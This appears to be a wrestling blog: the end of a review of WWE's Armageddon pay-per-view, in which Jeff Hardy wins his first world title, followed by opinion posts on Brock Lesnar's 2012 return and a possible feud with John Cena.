Solid heat on Edge and a solid gut also. Jeff goes straight for Edge as JR can’t remember if Jeff got attacked in Baltimore or Boston. Basic opening so far with Jeff driving the action. He sends Edge and HHH to the floor and dives on the Canadian. Trips takes his head off though so it’s Edge vs. HHH in the ring now. How was that never the main event of a bigger show than Great American Bash?

Jumping knee to the face puts Edge down as does a neckbreaker. Edge’s bad luck continues as he gets caught in a facebuster. Jeff back in now and he gets a facebuster for Christmas also. HHH tries the Pedigree to Edge but Jeff takes them both out with a Whisper in the Wind. The Game is down and Jeff gets crotched on the top. HHH comes in to get Edge and it’s a Doomsday Device with Jeff hitting a Whisper in the Wind instead of a clothesline. Edge’s bump is SCARY here as he lands on the back of his head.

Pedigree to Jeff is countered again and he goes into the buckle. Slingshot dropkick hits HHH but the Edge-O-Matic takes Jeff down for two. HHH’s bad luck continues in the form of a spear. Twist of Fate and Swanton hit HHH but Edge makes a last second save. Everybody goes to the floor and HHH is mostly dead.

Edge gets whipped around a lot and Jeff loads up the announce table. HHH pops up again and sends Edge onto the table but not through it. Jeff escapes a Pedigree and gets killed with a spear through the third table. Edge vs. HHH in the ring with the Canadian hitting an Edgecution for no cover. Spear is countered into the spinebuster and there’s the Pedigree.

Kozlov of all people pops up and breaks up the pin before beating on HHH. Matt Hardy comes out to get rid of Kozlov. Jeff goes up but Kozlov shoves him away before the Swanton can hit. Matt and Vlad go up the aisle and only Edge is in the ring. HHH comes back in but walks into a spear for two. A frustrated Edge goes to the floor and sets for a Conchairto.

Jeff grabs a chair and BLASTS Edge with it. He wants the Swanton but HHH crotches him. That was a sick, sick chair shot and it was only with one hand. HHH grabs the Pedigree in the corner but Jeff dives off the top with the Swanton to HHH and covers Edge for the pin and his first world title. The roof blows off the place and with good reason. The LD exploded and I did too, since I slept through the original broadcast of this and the first thing I saw was Jeff diving onto HHH.

Rating: B. Solid match all around here but the point here was for the ending. That Swanton and the reaction from the crowd was excellent. The whole thing worked perfectly and the match was good. Not sure why they had Kozlov and Matt in there but it wasn’t a big issue. The right man won here and that’s all that matters.

The last five minutes of this are spent on a huge celebration by Jeff. Totally awesome moment for one simple reason: this has been a year in the making and Jeff felt like he finally earned it. This could have been in the main event of Wrestlemania but the shock of it was a great bonus perk. I’m not a Hardy fan but this is still awesome on every possible level.

Jeff’s celebrating on top of the set ends the show.

Overall Rating: A. I really liked this show. The whole thing worked incredibly well and there isn’t a bad match to be found. You get an historical moment in the title change at the end, another good match in cena vs. Jericho, a big match in Orton vs. Batista and hot women in Santa outfits. What more can you really ask for from a show? I had a really good time with this and it’s worth seeing.

Armageddon is now done, leaving us with Unforgiven, Great American Bash, No Mercy and Backlash. This was a surprisingly good series with some bad shows but when it was good, it was REALLY good. The final one is probably the best or maybe 2005. Either way some of them are worth seeing but on the other hand some aren’t worth seeing at all. Translation: it’s just like every other PPV series.

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A Thought About Cena/Lesnar

I read something like this on another site and it makes me think about a few things. Paraphrased:

“It really says a lot about Cena that they have to bring out The Rock and a legit superstar fighter to make him break a sweat. That’s how far and away he is above the rest of the current roster.”

And that’s true. Lesnar is one of those guys that fans talk about in awe. He was a once in a generation talent and he managed to rise to the top of a legitimate sport. THAT is what they had to bring back to give Cena a real challenge.

Think about that for a bit.



Detailed Thoughts On Lesnar’s Return

So last night Brock Lesnar returned to the WWE after an eight year absence.  I didn’t really say much about it due to the sake of time, so here are a few more thoughts on it.This is a huge deal for WWE as it brings in a new set of fans in the form of UFC fans who watched Brock rampage through the organization for a few years.  It’s pretty clear that’s the main idea behind this and there’s nothing wrong with that.  This broadens the fanbase a little as a lot of UFC fans are old wrestling fans that got tired of the way the product was going and jumped ship.  There aren’t many ways to get them back other than to take some UFC talent, and that’s what they did here.

Storyline wise this opens up a lot of doors, as Lesnar could feud with anyone from Rock to Cena to Punk to Undertaker and have some excellent matches with them.  Lesnar allegedly has signed a one year deal and should appear about every two weeks, which is more than enough to keep people watching instead of the way Rock did it, where he’d show up about once a month for the majority of a year. Lesnar offers something fresh but familiar, but most importantly with Brock is he could have a lot left in the tank.

This is something I find imporant: Brock is only 34 years old.  By comparison, Sheamus is 34, Orton is 32, Punk is 33 and Cena is 34 (35 before the end of April).  No one would call any of those guys over the hill, and Brock is a brand new name to a large portion of these fans.  If WWE can convince him to stay a little longer than the contract he has, there’s a lot of potential to get there.

With Lesnar only appearing every few weeks, it keeps him fresh while still keeping him familiar, which is very important.  One of the reasons Cena became unpopular was because he’s always on TV.  One of the reasons Rock stays popular is he’s rarely on TV, but at the same time he was away enough that he lost some of his luster.  Getting a ground in the middle is a very nice touch, and most importantly you can still push stories without him there every week.

That brings us to the most talked about topic: what is Lesnar going to do?  Well last night he attacked Cena, but the problem is where do you have that match go down?  I really wouldn’t like to wait four months for Summerslam for their showdown.  That being said, for the life of me I can’t see this match happening at Extreme Rules.  You also have to throw in the wild card of The Rock, who Cena wanted to see last night before he took the F5.  It seems that they’re leaving the door open to decide what they’re going to do, which is in contrast to last year where they announced the main event of the big show a year in advance, which to me wasn’t the greatest idea.  This leaves them some options, which is a very good thing for them.

Overall, Brock is a huge coup for WWE as they needed something to bring in some old fans since Rock is probably not going to be available full time.  That being said, they need to treat Brock as well as they can.  WWE needs Lesnar WAY more than Lesnar needs WWE, so do whatever he likes.  he’s not going to return full time because he doesn’t need to, so use him sparingly and in the right places.  Him vs. Cena is a dream match, but I don’t know where they’re going with Cena at this point as I don’t see the point in having him beat Lesnar.  That’s the fun part about this: it’s not clear at all where it’s going, which is the best thing you can have in wrestling.

Thoughts/predictions?



Brock Lesnar Returns To WWE On Raw

He laid out Cena with an F5, so that’s either Wrestlemania or Summerslam, unless they’re feeling really stupid. This is a huge moment and I’m sure I’ll have more on it later, probably with a proper post tomorrow.

Until then, thoughts/reactions on this?